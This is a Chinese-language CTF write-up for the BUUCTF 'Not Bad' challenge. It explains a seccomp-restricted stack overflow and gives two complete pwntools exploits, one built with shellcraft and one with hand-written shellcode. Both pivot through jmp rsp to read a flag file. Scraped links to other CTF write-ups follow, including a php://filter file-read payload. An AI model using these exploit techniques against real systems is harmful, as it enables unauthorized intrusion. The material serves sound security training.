总的来说这是一个64位orw的题

开头先在主函数里分配了一个很大的空间

1 __int64 __fastcall main(int a1, char **a2, char **a3)
2 {
3 mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
4 sub_400949();
5 sub_400906();
6 sub_400A16();
7 return 0LL;
8 }
 1 __int64 sub_400949()
2 {
3 __int64 v1; // [rsp+8h] [rbp-8h]
4
5 v1 = seccomp_init(0LL);
6 seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
7 seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
8 seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
9 seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
10 return seccomp_load(v1);
11 }

这里开了沙盒看一下只给了open,read,write,exit很明显是一个orw的题

漏洞函数:

1 int sub_400A16()
2 {
3 char buf[32]; // [rsp+0h] [rbp-20h] BYREF
4
5 puts("Easy shellcode, have fun!");
6 read(0, buf, 0x38uLL);
7 return puts("Baddd! Focu5 me! Baddd! Baddd!");
8 }

溢出字节较少可以考虑用栈迁移,但是看了其他师傅的wp后发现了一种新的解题方法,即利用 jmp rsp这条指令。我们把这条指令的地址放到返回地址上,接下来就可以利用汇编来控制 rsp的位置了。

大多数师傅都是用 shellcraft 来自动化构造的,但是我认为有手搓 shellcode 的能力也很重要。

附上用 shellcraft 构造的exp:

from pwn import *
context.arch='amd64'
context.log_level='debug' s=remote('node4.buuoj.cn',26979)
#s=process('./bad') mmap=0x123000
jmp_rsp=0x400a01 orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
orw_payload += shellcraft.write(1, mmap+0x100,0x50) payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
s.sendline(payload) s.send(asm(orw_payload)) s.interactive()

手搓 shellcode 的exp:

 1 from pwn import *
2 context.arch='amd64'
3 context.log_level='debug'
4
5 s=remote('node4.buuoj.cn',26979)
6 #s=process('./bad')
7
8 jmp_rsp=0x400a01
9 shellcode1='''
10 xor rdi, rdi
11 mov rsi, 0x123000
12 mov rdx, 0x100
13 mov rax, 0
14 syscall
15 mov rax, 0x123000
16 call rax
17 '''
18
19 shellcode2='''
20 mov rdi, 0x67616c662f2e //这个是.\flag由于小端序存储的倒着写的 gafl\.的16进制表示。
21 push rdi
22 mov rdi, rsp
23 mov rsi, 0
24 mov rdx, 0
25 mov rax, 2
26 syscall
27 mov rdi, 3
28 mov rsi, rsp
29 mov rdx, 0x100
30 mov rax, 0
31 syscall
32 mov rdi, 1
33 mov rsi, rsp
34 mov edx, 0x100
35 mov rax, 1
36 syscall
37 '''
38 payload=asm(shellcode1)
39 payload=payload.ljust(0x28,b'\x00')
40 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
41 s.sendline(payload)
42
43 s.send(asm(shellcode2))
44
45 s.interactive()

BUUCTF [极客大挑战 2019]Not Bad的更多相关文章

  1. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  2. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  3. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  4. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  5. BUUCTF(八)[极客大挑战 2019]LoveSQL

    BUUCTF 1.打开题目 注入方法可参考NewsCenter 2.测试注入点 username: 1'or'1=1 password: 1'or'1=1 登录成功,说明存在注入漏洞. 下面测试位点个 ...

  6. BUUCTF(十一)[极客大挑战 2019]Knife

    BUUCTF系列 想着应该不会这么简单吧... 结果就是这么简单ee 疯狂暗示... url:xxx/index.php 密码:Syc 连接成功... cd / ls cat flag

  7. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  8. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

  9. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

随机推荐

  1. 理解各种不同含义的 new 和 delete

    new operator new操作符 operator new 操作符new placement new 定位new string *ps = new string("Memory Man ...

  2. Use of explicit keyword in C++

    Predict the output of following C++ program. 1 #include <iostream> 2 3 using namespace std; 4 ...

  3. mybatis-插件开发

    在Executor.StatementHandler.parameterHandler.resultSetHandler创建的时候都有一步这样的操作xxxHandler=interceptorChai ...

  4. Linux:$?,$n,$#,$0

    $? 获取执行上一个指令的返回值(0为成功,非零为失败) $n 获取当前执行的shell脚本的第n个参数值,n=1...9,当n=0的时表示脚本的文件名,如果n大于9,大括号括起来${10} $# 获 ...

  5. Ribbon详解

    转自Ribbon详解 简介 ​ Spring Cloud Ribbon是一个基于HTTP和TCP的客户端负载均衡工具,它基于Netflix Ribbon实现.通过Spring Cloud的封装,可以让 ...

  6. maven根据profile,resources,filters来区分部署环境

    项目过程中,在不同的阶段,分别需要部署开发环境,测试环境,线上环境.如果都用一套配置文件,很容易弄乱,所以维持多套配置文件很有必要. maven提供了一组属性以供开发人员灵活搭配,可以根据环境来打包, ...

  7. Mysql-高性能索引策略及不走索引的例子总结

    Mysql-高性能索引策略 正确的创建和使用索引是实现高性能查询的基础.我总结了以下几点索引选择的策略和索引的注意事项: 索引的使用策略: (PS:索引的选择性是指:不重复的索引值,和数据表的记录总数 ...

  8. 通过spring-data-redis操作Redis

    一.操作String类型数据 @RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration("classpath:spring/ ...

  9. 【阿菜做实践】利用go语言写一个简单的Pow样例

    本篇博客的主要内容是用go写一个简单的Proof-of-Work共识机制,不涉及到网络通信环节,只是一个本地的简单demo.开发IDE用的是JB Golang. 整个项目的文件结构如下: PoWdem ...

  10. 热部署详细步骤---·> 小热身!

    IDEA 2018.1.5 4版本 热部署 网址:https://www.jb51.net/softjc/629271.html